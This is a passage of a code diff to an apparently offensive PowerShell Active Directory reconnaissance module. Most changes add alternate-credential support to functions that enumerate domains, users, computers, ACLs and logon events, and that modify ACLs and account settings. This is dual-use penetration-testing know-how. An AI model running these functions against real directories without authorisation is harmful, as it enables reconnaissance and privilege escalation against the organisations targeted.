fields. +        Used by several of the Get-Net* function. + +    .PARAMETER Properties + +        Properties object to extract out LDAP fields for display. +#>      param( -        [Parameter(Mandatory=$True,ValueFromPipeline=$True)] +        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]          [ValidateNotNullOrEmpty()]          $Properties      ) @@ -1585,7 +1504,7 @@ function Convert-LDAPProperty {              }          }          elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { -            # convert misc com objects +            # try to convert misc com objects              $Prop = $Properties[$_]              try {                  $Temp = $Prop[$_][0] @@ -1617,7 +1536,7 @@ function Convert-LDAPProperty {  #  ######################################################## -function Get-DomainSearcher { +filter Get-DomainSearcher {  <#      .SYNOPSIS @@ -1645,6 +1564,11 @@ function Get-DomainSearcher {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-DomainSearcher -Domain testlab.local @@ -1654,8 +1578,8 @@ function Get-DomainSearcher {          PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local  #> -    [CmdletBinding()]      param( +        [Parameter(ValueFromPipeline=$True)]          [String]          $Domain, @@ -1670,14 +1594,17 @@ function Get-DomainSearcher {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      ) -    if(!$Domain) { -        $Domain = (Get-NetDomain).name -    } -    else { -        if(!$DomainController) { +    if(!$Credential) { +        if(!$Domain){ +            $Domain = (Get-NetDomain).name +        } +        elseif(!$DomainController) {              try {                  # if there's no -DomainController specified, try to pull the primary DC                  #   to reflect queries through @@ -1688,12 +1615,28 @@ function Get-DomainSearcher {              }          }      } +    elseif (!$DomainController) { +        try { +            $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name +        } +        catch { +            throw "Get-DomainSearcher: Error in retrieving PDC for current domain" +        } + +        if(!$DomainController) { +            throw "Get-DomainSearcher: Error in retrieving PDC for current domain" +        } +    }      $SearchString = "LDAP://"      if($DomainController) { -        $SearchString += $DomainController + "/" +        $SearchString += $DomainController +        if($Domain){ +            $SearchString += "/" +        }      } +      if($ADSprefix) {          $SearchString += $ADSprefix + ","      } @@ -1701,30 +1644,45 @@ function Get-DomainSearcher {      if($ADSpath) {          if($ADSpath -like "GC://*") {              # if we're searching the global catalog -            $DistinguishedName = $AdsPath +            $DN = $AdsPath              $SearchString = ""          }          else {              if($ADSpath -like "LDAP://*") { -                $ADSpath = $ADSpath.Substring(7) +                if($ADSpath -match "LDAP://.+/.+") { +                    $SearchString = "" +                } +                else { +                    $ADSpath = $ADSpath.Substring(7) +                }              } -            $DistinguishedName = $ADSpath +            $DN = $ADSpath          }      }      else { -        $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" +        if($Domain -and ($Domain.Trim() -ne "")) { +            $DN = "DC=$($Domain.Replace('.', ',DC='))" +        }      } -    $SearchString += $DistinguishedName +    $SearchString += $DN      Write-Verbose "Get-DomainSearcher search string: $SearchString" -    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) +    if($Credential) { +        Write-Verbose "Using alternate credentials for LDAP connection" +        $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) +        $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) +    } +    else { +        $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) +    } +      $Searcher.PageSize = $PageSize      $Searcher  } -function Get-NetDomain { +filter Get-NetDomain {  <#      .SYNOPSIS @@ -1734,41 +1692,70 @@ function Get-NetDomain {          The domain name to query for, defaults to the current domain. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetDomain -Domain testlab.local +    .EXAMPLE + +        PS C:\> "testlab.local" | Get-NetDomain +      .LINK          http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG  #> -    [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)]          [String] -        $Domain +        $Domain, + +        [Management.Automation.PSCredential] +        $Credential      ) -    process { -        if($Domain) { -            $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) -            try { -                [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) -            } -            catch { -                Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." -                $Null -            } +    if($Credential) { +         +        Write-Verbose "Using alternate credentials for Get-NetDomain" + +        if(!$Domain) { +            # if no domain is supplied, extract the logon domain from the PSCredential passed +            $Domain = $Credential.GetNetworkCredential().Domain +            Write-Verbose "Extracted domain '$Domain' from -Credential"          } -        else { -            [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() +    +        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) +         +        try { +            [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) +        } +        catch { +            Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." +            $Null          }      } +    elseif($Domain) { +        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) +        try { +            [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) +        } +        catch { +            Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." +            $Null +        } +    } +    else { +        [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() +    }  } -function Get-NetForest { +filter Get-NetForest {  <#      .SYNOPSIS @@ -1778,47 +1765,76 @@ function Get-NetForest {          The forest name to query for, defaults to the current domain. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetForest -Forest external.domain + +    .EXAMPLE +     +        PS C:\> "external.domain" | Get-NetForest  #> -    [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)]          [String] -        $Forest +        $Forest, + +        [Management.Automation.PSCredential] +        $Credential      ) -    process { -        if($Forest) { -            $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) -            try { -                $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) -            } -            catch { -                Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." -                $Null -            } +    if($Credential) { +         +        Write-Verbose "Using alternate credentials for Get-NetForest" + +        if(!$Forest) { +            # if no domain is supplied, extract the logon domain from the PSCredential passed +            $Forest = $Credential.GetNetworkCredential().Domain +            Write-Verbose "Extracted domain '$Forest' from -Credential"          } -        else { -            # otherwise use the current forest -            $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() +    +        $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) +         +        try { +            $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)          } - -        if($ForestObject) { -            # get the SID of the forest root -            $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value -            $Parts = $ForestSid -Split "-" -            $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" -            $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid -            $ForestObject +        catch { +            Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." +            $Null          }      } +    elseif($Forest) { +        $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) +        try { +            $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) +        } +        catch { +            Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." +            return $Null +        } +    } +    else { +        # otherwise use the current forest +        $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() +    } + +    if($ForestObject) { +        # get the SID of the forest root +        $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value +        $Parts = $ForestSid -Split "-" +        $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" +        $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid +        $ForestObject +    }  } -function Get-NetForestDomain { +filter Get-NetForestDomain {  <#      .SYNOPSIS @@ -1828,9 +1844,10 @@ function Get-NetForestDomain {          The forest name to query domain for. -    .PARAMETER Domain +    .PARAMETER Credential -        Return domains that match this term/wildcard. +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain.      .EXAMPLE @@ -1841,39 +1858,24 @@ function Get-NetForestDomain {          PS C:\> Get-NetForestDomain -Forest external.local  #> -    [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)]          [String]          $Forest, -        [String] -        $Domain +        [Management.Automation.PSCredential] +        $Credential      ) -    process { -        if($Domain) { -            # try to detect a wild card so we use -like -            if($Domain.Contains('*')) { -                (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} -            } -            else { -                # match the exact domain name if there's not a wildcard -                (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} -            } -        } -        else { -            # return all domains -            $ForestObject = Get-NetForest -Forest $Forest -            if($ForestObject) { -                $ForestObject.Domains -            } -        } +    $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + +    if($ForestObject) { +        $ForestObject.Domains      }  } -function Get-NetForestCatalog { +filter Get-NetForestCatalog {  <#      .SYNOPSIS @@ -1883,28 +1885,34 @@ function Get-NetForestCatalog {          The forest name to query domain for. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetForestCatalog  #> - -    [CmdletBinding()] +          param(          [Parameter(ValueFromPipeline=$True)]          [String] -        $Forest +        $Forest, + +        [Management.Automation.PSCredential] +        $Credential      ) -    process { -        $ForestObject = Get-NetForest -Forest $Forest -        if($ForestObject) { -            $ForestObject.FindAllGlobalCatalogs() -        } +    $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + +    if($ForestObject) { +        $ForestObject.FindAllGlobalCatalogs()      }  } -function Get-NetDomainController { +filter Get-NetDomainController {  <#      .SYNOPSIS @@ -1922,9 +1930,28 @@ function Get-NetDomainController {          Switch. Use LDAP queries to determine the domain controllers. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. + +    .EXAMPLE + +        PS C:\> Get-NetDomainController -Domain 'test.local' +         +        Determine the domain controllers for 'test.local'. + +    .EXAMPLE + +        PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP + +        Determine the domain controllers for 'test.local' using LDAP queries. +      .EXAMPLE -        PS C:\> Get-NetDomainController -Domain test +        PS C:\> 'test.local' | Get-NetDomainController + +        Determine the domain controllers for 'test.local'.  #>      [CmdletBinding()] @@ -1937,20 +1964,20 @@ function Get-NetDomainController {          $DomainController,          [Switch] -        $LDAP +        $LDAP, + +        [Management.Automation.PSCredential] +        $Credential      ) -    process { -        if($LDAP -or $DomainController) { -            # filter string to return all domain controllers -            Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' -        } -        else { -            $FoundDomain = Get-NetDomain -Domain $Domain -             -            if($FoundDomain) { -                $Founddomain.DomainControllers -            } +    if($LDAP -or $DomainController) { +        # filter string to return all domain controllers +        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' +    } +    else { +        $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential +        if($FoundDomain) { +            $Founddomain.DomainControllers          }      }  } @@ -2012,6 +2039,11 @@ function Get-NetUser {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetUser -Domain testing @@ -2021,9 +2053,8 @@ function Get-NetUser {          PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"  #> -    [CmdletBinding()]      param( -        [Parameter(ValueFromPipeline=$True)] +        [Parameter(Position=0, ValueFromPipeline=$True)]          [String]          $UserName, @@ -2053,12 +2084,15 @@ function Get-NetUser {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin {          # so this isn't repeated if users are passed on the pipeline -        $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize +        $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential      }      process { @@ -2395,6 +2429,11 @@ function Get-UserProperty {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-UserProperty -Domain testing @@ -2426,22 +2465,25 @@ function Get-UserProperty {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      if($Properties) {          # extract out the set of all properties for each object          $Properties = ,"name" + $Properties -        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties +        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties      }      else {          # extract out just the property names -        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' +        Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'      }  } -function Find-UserField { +filter Find-UserField {  <#      .SYNOPSIS @@ -2476,6 +2518,11 @@ function Find-UserField {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Find-UserField -SearchField info -SearchTerm backup @@ -2503,16 +2550,17 @@ function Find-UserField {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 -    ) +        $PageSize = 200, -    process { -        Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField -    } +        [Management.Automation.PSCredential] +        $Credential +    ) +  +    Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField  } -function Get-UserEvent { +filter Get-UserEvent {  <#      .SYNOPSIS @@ -2534,7 +2582,12 @@ function Get-UserEvent {      .PARAMETER DateStart          Filter out all events before this date. Default: 5 days -    + +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local @@ -2545,6 +2598,7 @@ function Get-UserEvent {  #>      Param( +        [Parameter(ValueFromPipeline=$True)]          [String]          $ComputerName = $Env:ComputerName, @@ -2553,7 +2607,10 @@ function Get-UserEvent {          $EventType = "logon",          [DateTime] -        $DateStart=[DateTime]::Today.AddDays(-5) +        $DateStart = [DateTime]::Today.AddDays(-5), + +        [Management.Automation.PSCredential] +        $Credential      )      if($EventType.ToLower() -like "logon") { @@ -2566,8 +2623,25 @@ function Get-UserEvent {          [Int32[]]$ID = @(4624, 4768)      } -    #grab all events matching our filter for the specified host -    Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { +    if($Credential) { +        Write-Verbose "Using alternative credentials" +        $Arguments = @{ +            'ComputerName' = $ComputerName; +            'Credential' = $Credential; +            'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; +            'ErrorAction' = 'SilentlyContinue'; +        } +    } +    else { +        $Arguments = @{ +            'ComputerName' = $ComputerName; +            'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; +            'ErrorAction' = 'SilentlyContinue';             +        } +    } + +    # grab all events matching our filter for the specified host +    Get-WinEvent @Arguments | ForEach-Object {          if($ID -contains 4624) {                  # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) @@ -2763,7 +2837,7 @@ function Get-ObjectAcl {      )      begin { -        $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize +        $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize           # get a GUID -> name mapping          if($ResolveGUIDs) { @@ -2783,12 +2857,13 @@ function Get-ObjectAcl {              }              try { -                $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { +                $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {                      $Object = [adsi]($_.path) +                      if($Object.distinguishedname) {                          $Access = $Object.PsBase.ObjectSecurity.access                          $Access | ForEach-Object { -                            $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) +                            $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]                              if($Object.objectsid[0]){                                  $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value @@ -2813,7 +2888,7 @@ function Get-ObjectAcl {                      else {                          $_                      } -                } | Foreach-Object { +                } | ForEach-Object {                      if($GUIDs) {                          # if we're resolving GUIDs, map them them to the resolved hash table                          $AclProperties = @{} @@ -3005,7 +3080,7 @@ function Add-ObjectAcl {              }              try { -                $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { +                $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {                      # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects                      $TargetDN = $_.Properties.distinguishedname @@ -3170,6 +3245,7 @@ function Invoke-ACLScanner {      } | Where-Object {          # check for any ACLs with SIDs > -1000          try { +            # TODO: change this to a regex for speedup?              [int]($_.IdentitySid.split("-")[-1]) -ge 1000          }          catch {} @@ -3180,7 +3256,7 @@ function Invoke-ACLScanner {  } -function Get-GUIDMap { +filter Get-GUIDMap {  <#      .SYNOPSIS @@ -3207,6 +3283,7 @@ function Get-GUIDMap {      [CmdletBinding()]      Param ( +        [Parameter(ValueFromPipeline=$True)]          [String]          $Domain, @@ -3233,10 +3310,10 @@ function Get-GUIDMap {          }          catch {              Write-Debug "Error in building GUID map: $_" -        }       +        }      } -    $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize +    $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential      if ($RightsSearcher) {          $RightsSearcher.filter = "(objectClass=controlAccessRight)"          try { @@ -3306,6 +3383,10 @@ function Get-NetComputer {          The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"          Useful for OU queries. +     +    .PARAMETER SiteName + +        The AD Site name to search for computers.      .PARAMETER Unconstrained @@ -3315,6 +3396,11 @@ function Get-NetComputer {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetComputer @@ -3381,17 +3467,23 @@ function Get-NetComputer {          [String]          $ADSpath, +        [String] +        $SiteName, +          [Switch]          $Unconstrained,          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { -        # so this isn't repeated if users are passed on the pipeline -        $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        # so this isn't repeated if multiple computer names are passed on the pipeline +        $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential      }      process { @@ -3419,8 +3511,13 @@ function Get-NetComputer {              if($ServicePack) {                  $Filter += "(operatingsystemservicepack=$ServicePack)"              } +            if($SiteName) { +                $Filter += "(serverreferencebl=$SiteName)" +            } -            $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" +            $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" +            Write-Verbose "Get-NetComputer filter : '$CompFilter'" +            $CompSearcher.filter = $CompFilter              try { @@ -3496,6 +3593,11 @@ function Get-ADObject {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" @@ -3538,7 +3640,10 @@ function Get-ADObject {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      process {          if($SID) { @@ -3546,7 +3651,7 @@ function Get-ADObject {              try {                  $Name = Convert-SidToName $SID                  if($Name) { -                    $Canonical = Convert-NT4toCanonical -ObjectName $Name +                    $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical                      if($Canonical) {                          $Domain = $Canonical.split("/")[0]                      } @@ -3562,10 +3667,9 @@ function Get-ADObject {              }          } -        $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize          if($ObjectSearcher) { -              if($SID) {                  $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"              } @@ -3642,6 +3746,11 @@ function Set-ADObject {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 @@ -3689,7 +3798,10 @@ function Set-ADObject {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      $Arguments = @{ @@ -3700,6 +3812,7 @@ function Set-ADObject {          'DomainController' = $DomainController          'Filter' = $Filter          'PageSize' = $PageSize +        'Credential' = $Credential      }      # splat the appropriate arguments to Get-ADObject      $RawObject = Get-ADObject -ReturnRaw @Arguments @@ -3765,6 +3878,11 @@ function Invoke-DowngradeAccount {          Switch. Unset the reversible encryption flag and force password reset flag. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS> Invoke-DowngradeAccount -SamAccountName jason @@ -3780,10 +3898,11 @@ function Invoke-DowngradeAccount {      [CmdletBinding()]      Param ( -        [Parameter(Position=0,ValueFromPipeline=$True)] +        [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]          [String]          $SamAccountName, +        [Parameter(ParameterSetName = 'Name')]          [String]          $Name, @@ -3797,7 +3916,10 @@ function Invoke-DowngradeAccount {          $Filter,          [Switch] -        $Repair +        $Repair, + +        [Management.Automation.PSCredential] +        $Credential      )      process { @@ -3807,6 +3929,7 @@ function Invoke-DowngradeAccount {              'Domain' = $Domain              'DomainController' = $DomainController              'Filter' = $Filter +            'Credential' = $Credential          }          # splat the appropriate arguments to Get-ADObject @@ -3868,6 +3991,11 @@ function Get-ComputerProperty {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-ComputerProperty -Domain testing @@ -3899,17 +4027,20 @@ function Get-ComputerProperty {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      if($Properties) {          # extract out the set of all properties for each object          $Properties = ,"name" + $Properties | Sort-Object -Unique -        Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties +        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties      }      else {          # extract out just the property names -        Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" +        Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"      }  } @@ -3949,6 +4080,11 @@ function Find-ComputerField {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Find-ComputerField -SearchTerm backup -SearchField info @@ -3978,11 +4114,14 @@ function Find-ComputerField {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      process { -        Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField +        Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField      }  } @@ -4021,6 +4160,11 @@ function Get-NetOU {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetOU @@ -4037,7 +4181,13 @@ function Get-NetOU {          PS C:\> Get-NetOU -GUID 123-... -        Returns all OUs with linked to the specified group policy object.     +        Returns all OUs with linked to the specified group policy object. + +     .EXAMPLE + +        PS C:\> "*admin*","*server*" | Get-NetOU + +        Get the full OU names for the given search terms piped on the pipeline.  #>      [CmdletBinding()] @@ -4063,11 +4213,14 @@ function Get-NetOU {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { -        $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      }      process {          if ($OUSearcher) { @@ -4079,16 +4232,21 @@ function Get-NetOU {                  $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"              } -            $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { -                if ($FullData) { -                    # convert/process the LDAP fields for each result -                    Convert-LDAPProperty -Properties $_.Properties -                } -                else {  -                    # otherwise just returning the ADS paths of the OUs -                    $_.properties.adspath +            try { +                $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { +                    if ($FullData) { +                        # convert/process the LDAP fields for each result +                        Convert-LDAPProperty -Properties $_.Properties +                    } +                    else {  +                        # otherwise just returning the ADS paths of the OUs +                        $_.properties.adspath +                    }                  }              } +            catch { +                Write-Warning $_ +            }          }      }  } @@ -4128,6 +4286,11 @@ function Get-NetSite {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetSite -Domain testlab.local -FullData @@ -4158,11 +4321,18 @@ function Get-NetSite {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { -        $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize +        if(!$Domain) { +            $Domain = Get-NetDomain -Credential $Credential +        } + +        $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize      }      process {          if($SiteSearcher) { @@ -4225,6 +4395,11 @@ function Get-NetSubnet {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetSubnet @@ -4258,11 +4433,18 @@ function Get-NetSubnet {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { -        $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize +        if(!$Domain) { +            $Domain = Get-NetDomain -Credential $Credential +        } + 